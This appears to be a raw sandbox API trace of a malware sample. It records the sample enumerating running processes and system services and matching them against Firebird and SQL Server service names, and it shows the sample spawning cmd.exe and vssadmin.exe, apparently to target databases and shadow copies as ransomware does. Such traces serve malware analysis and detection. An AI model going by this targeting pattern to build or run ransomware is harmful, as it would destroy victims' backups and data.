	[0051.838] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0051.839] lstrlenW (lpString="taskhost.exe") returned 12
	[0051.839] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0051.840] lstrlenW (lpString="svchost.exe") returned 11
	[0051.840] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0051.841] lstrlenW (lpString="taskeng.exe") returned 11
	[0051.841] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0051.841] lstrlenW (lpString="taskhost.exe") returned 12
	[0051.841] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="program.exe")) returned 1
	[0051.842] lstrlenW (lpString="program.exe") returned 11
	[0051.842] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="felt.exe")) returned 1
	[0051.843] lstrlenW (lpString="felt.exe") returned 8
	[0051.843] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bibliography.exe")) returned 1
	[0051.843] lstrlenW (lpString="bibliography.exe") returned 16
	[0051.843] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="georgeeliteopening.exe")) returned 1
	[0051.844] lstrlenW (lpString="georgeeliteopening.exe") returned 22
	[0051.844] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commissioners_o_tiny.exe")) returned 1
	[0051.845] lstrlenW (lpString="commissioners_o_tiny.exe") returned 24
	[0051.845] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="converter.exe")) returned 1
	[0051.846] lstrlenW (lpString="converter.exe") returned 13
	[0051.846] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="once.exe")) returned 1
	[0051.846] lstrlenW (lpString="once.exe") returned 8
	[0051.846] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bras_cod_tribune.exe")) returned 1
	[0051.941] lstrlenW (lpString="bras_cod_tribune.exe") returned 20
	[0051.942] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1
	[0051.943] lstrlenW (lpString="always.exe") returned 10
	[0051.943] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="walkerusefuldifferently.exe")) returned 1
	[0051.944] lstrlenW (lpString="walkerusefuldifferently.exe") returned 27
	[0051.944] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="donated.exe")) returned 1
	[0051.945] lstrlenW (lpString="donated.exe") returned 11
	[0051.945] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowherepike.exe")) returned 1
	[0051.945] lstrlenW (lpString="nowherepike.exe") returned 15
	[0051.945] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="packagevolkswagen.exe")) returned 1
	[0051.946] lstrlenW (lpString="packagevolkswagen.exe") returned 21
	[0051.946] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roommate_ordinary.exe")) returned 1
	[0051.947] lstrlenW (lpString="roommate_ordinary.exe") returned 21
	[0051.947] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allowance.exe")) returned 1
	[0051.948] lstrlenW (lpString="allowance.exe") returned 13
	[0051.948] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conducting affect.exe")) returned 1
	[0051.948] lstrlenW (lpString="conducting affect.exe") returned 21
	[0051.949] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1
	[0051.949] lstrlenW (lpString="plaintiff.exe") returned 13
	[0051.949] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dialog.exe")) returned 1
	[0051.950] lstrlenW (lpString="dialog.exe") returned 10
	[0051.950] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="katrinaupgradingfruits.exe")) returned 1
	[0051.951] lstrlenW (lpString="katrinaupgradingfruits.exe") returned 26
	[0051.951] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spa-podcasts.exe")) returned 1
	[0051.952] lstrlenW (lpString="spa-podcasts.exe") returned 16
	[0051.952] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0051.952] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0051.952] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0051.953] lstrlenW (lpString="swpesp.exe") returned 10
	[0051.953] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x918, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0051.954] lstrlenW (lpString="cmd.exe") returned 7
	[0051.954] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0051.954] lstrlenW (lpString="conhost.exe") returned 11
	[0051.954] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0051.955] lstrlenW (lpString="vssadmin.exe") returned 12
	[0051.955] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0051.956] lstrlenW (lpString="VSSVC.exe") returned 9
	[0051.956] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0051.957] lstrlenW (lpString="svchost.exe") returned 11
	[0051.957] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0051.957] CloseHandle (hObject=0x1f8) returned 1
	[0051.957] Sleep (dwMilliseconds=0x1f4) 
	[0052.972] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d06d8
	[0052.972] EnumServicesStatusExW (in: hSCManager=0x35d06d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 0
	[0052.973] GetLastError () returned 0xea
	[0052.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x12c6) returned 0x3ea0058
	[0052.973] EnumServicesStatusExW (in: hSCManager=0x35d06d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3ea0058, cbBufSize=0x12c6, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3ea0058, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 1
	[0052.973] CloseServiceHandle (hSCObject=0x35d06d8) returned 1
	[0052.974] lstrlenW (lpString="Appinfo") returned 7
	[0052.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0052.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0052.974] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0052.974] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0052.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0052.974] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0052.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0052.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0052.974] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0052.974] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0052.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0052.974] lstrlenW (lpString="AudioSrv") returned 8
	[0052.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0052.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0052.974] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0052.974] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0052.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0052.974] lstrlenW (lpString="BFE") returned 3
	[0052.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0052.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0052.974] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0052.974] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0052.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0052.974] lstrlenW (lpString="CryptSvc") returned 8
	[0052.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0052.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0052.975] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0052.975] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0052.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0052.975] lstrlenW (lpString="CscService") returned 10
	[0052.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0052.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0052.975] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0052.975] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0052.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0052.975] lstrlenW (lpString="DcomLaunch") returned 10
	[0052.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0052.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0052.975] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0052.975] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0052.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0052.975] lstrlenW (lpString="Dhcp") returned 4
	[0052.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0052.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0052.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0052.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0052.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0052.975] lstrlenW (lpString="Dnscache") returned 8
	[0052.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0052.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0052.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0052.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0052.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0052.975] lstrlenW (lpString="DPS") returned 3
	[0052.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0052.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0052.976] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0052.976] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0052.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0052.976] lstrlenW (lpString="eventlog") returned 8
	[0052.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0052.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0052.976] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0052.976] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0052.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0052.976] lstrlenW (lpString="EventSystem") returned 11
	[0052.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0052.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0052.976] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0052.976] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0052.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0052.976] lstrlenW (lpString="gpsvc") returned 5
	[0052.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0052.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0052.976] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0052.976] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0052.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0052.976] lstrlenW (lpString="iphlpsvc") returned 8
	[0052.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0052.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0052.976] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0052.977] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0052.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0052.977] lstrlenW (lpString="LanmanServer") returned 12
	[0052.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0052.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0052.977] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0052.977] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0052.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0052.977] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0052.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0052.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0052.977] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0052.977] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0052.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0052.977] lstrlenW (lpString="lmhosts") returned 7
	[0052.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0052.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0052.977] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0052.977] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0052.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0052.977] lstrlenW (lpString="MMCSS") returned 5
	[0052.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0052.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0052.977] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0052.977] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0052.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0052.977] lstrlenW (lpString="MpsSvc") returned 6
	[0052.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0052.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0052.977] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0052.977] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0052.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0052.978] lstrlenW (lpString="Netman") returned 6
	[0052.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0052.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0052.978] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0052.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0052.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0052.978] lstrlenW (lpString="netprofm") returned 8
	[0052.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0052.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0052.978] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0052.978] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0052.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0052.978] lstrlenW (lpString="NlaSvc") returned 6
	[0052.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0052.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0052.978] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0052.978] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0052.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0052.978] lstrlenW (lpString="nsi") returned 3
	[0052.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0052.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0052.978] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0052.978] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0052.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0052.978] lstrlenW (lpString="PcaSvc") returned 6
	[0052.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0052.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0052.978] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0052.978] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0052.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0052.979] lstrlenW (lpString="PlugPlay") returned 8
	[0052.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0052.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0052.979] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0052.979] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0052.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0052.979] lstrlenW (lpString="Power") returned 5
	[0052.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0052.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0052.979] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0052.979] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0052.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0052.979] lstrlenW (lpString="ProfSvc") returned 7
	[0052.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0052.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0052.979] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0052.979] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0052.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0052.979] lstrlenW (lpString="RpcEptMapper") returned 12
	[0052.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0052.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
